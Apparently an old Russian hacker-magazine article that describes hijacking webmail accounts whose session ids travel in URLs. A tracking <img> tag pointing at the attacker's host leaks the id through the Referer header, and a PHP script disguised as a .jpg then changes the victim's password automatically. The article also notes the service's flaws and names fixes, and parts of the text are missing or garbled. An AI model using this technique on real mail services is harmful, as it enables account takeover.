Сегодня я хочу рассказать уважаемой публике, как можно
воровать адреса с некоторых веб-мейлов. Я сказал "как можно",
а не "как нужно"! Успокойтесь, ничего особо ценного, как
"инструментарий юного хацкера" в этой заметке не будет. Просто
демонстрация возможностей PHP и недостатков (вопиющих
недостатков!) некоторых почтовых веб-интерфейсов.
Первое же тестирование выявило, что сервер подвержен
простейшим ошибкам в фильтрации скриптов и других опасных
тегов, но это оказалось не самым худшим.
Как уже было отмечено — во время работы пользователь
идентифицируется по случайному многозначному идентификатору
(id) , и разумеется (думал я) IP и/или cookies. Тест показал,
что это не так! Узнав значение id на ящик оказалось возможным
зайти с другого адреса, например после обрыва соединения!
Более того не требовалось и поддержки "пирожков" (хотя узнать
их при возможности выполнить скрипт проблемой не являлось).
Фактически, для несанкционированного просмотра ящика,
достаточно себе поставить простейшую программу, регистрирующую
обращения к 80-му (или другому указанному в адресе) порту,
послать письмо, вставив в него нефильтруемый тег провоцирующий
браузер на автоматическое обращение к машине атакующего
(например с помощью ссылки на картинку, якобы расположенную на
IP адресе взломщика <img
src=http://адрес_машины_взломщика:порт/anyname.gif width=1
height=1>) и, дождавшись пока жертва зайдёт читать почту,
посмотреть поле "Referer:" в заголовке пришедшего запроса!
GET /anyname.gif HTTP/1.0
Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5
Connection: Keep-Alive
...
Атакующему осталось только отключить поддержку cookies в
своём браузере, полностью набрать указанный в Referer адрес и
параллельно "работать с почтой " (почитать письма ,установить
пересылку...) пока хозяин не выйдет из неё.
Если злоумышленник не имеет постоянного соединения с сетью,
он может воспользоваться дырками в фильтрации тегов, чтобы
установить с помощью языков сценариев пересылку (для этого
придётся отправить дополнительное письмо с кодом
подтверждения).
На самом деле, можно поставить взлом ящиков на поток и не
караулить жертв, сидя на линии.
Итак, мы имеем почтовый сервис, который
а) авторизует
пользователей по технологии аналогичной сессиям в
php.
б) не делает проверки IP-адресов
в) не
проверяет содержимое писем формата html
г) не требует
подтверждений изменений системных настроек
А проверка содержимого должна заключаться помимо всего
прочего и в безжалостной резке всех картинок, которые не идут
в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК,
ВСЕХ!
Мы же, крутые хацкеры, используем Apache+PHP.
1. Отправляем по разным адресам почтового сервиса
письма в формате html с тегом
<img
src=http://www.server.com/picture.jpg>
например, с поздравительной открыткой. :)
2. В директории с открыткой кладем файл .htaccess
следующего содержания:
4. А поздравительную открытку кладем именно в файл
otkrytka.jpg. Директива ForceType в .htaccess заставляет
сервер обрабатывать файл .jpg как скрипт php, который по
завершении работы выдает пользователю картинку, и узнать, что
скрипт что-то там делал, невозможно. А скрипт делает простую
вещь — разбирает переменную , выкусывает оттуда
идентификатор сессии и... в два приема лишает пользователя
ящика. На машине жертвы не происходит ничего, все делает
скрипт на сервере злоумышленника:
5.Открывает
сокет с веб-мэйлом, имитируя отправку формы системных
настроек (имена переменных надо написать ручками), а именно
изменение пароля на нужный злоумышленнику (и, например,
уведомляет автора о том, что такой-то ящик захвачен). Дабы не
вызвать подозрений, можно формировать нужные заголовки —
рефереры, user agent и т.п.
6. Открывает второй сокет, имитируя нажатие кнопки
"выход".
* Сокет - сетевое соединение. В данном случае точно
такое же, как и соединение между веб-сервером и браузером.
ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как
следует рассмотреть картинку. Следующее, что он увидит —
сообщение типа "неправильный пароль, войдите еще раз".
Получается, что дырка в защите такого почтового сервиса (не
Hotbox.ru, замечу, там что-то все-таки закрыто) на самом
деле — целая дверь. Сочетание передачи идентификатора
сессии через ссылку (т.е. доступного кому угодно через поле
Referer), а не через cookie и отсутствия проверки IP-адреса
дает злоумышленнику возможность быстро и легко перехватить
управление ящиком. Проверка же картинок здесь не
спасает — ничто не мешает вставить в текст письма ссылку,
нажав на которую, пользователь передаст скрипту идентификатор
сессии. Со>ят ли удобства таких жертв? Думаю,
нет.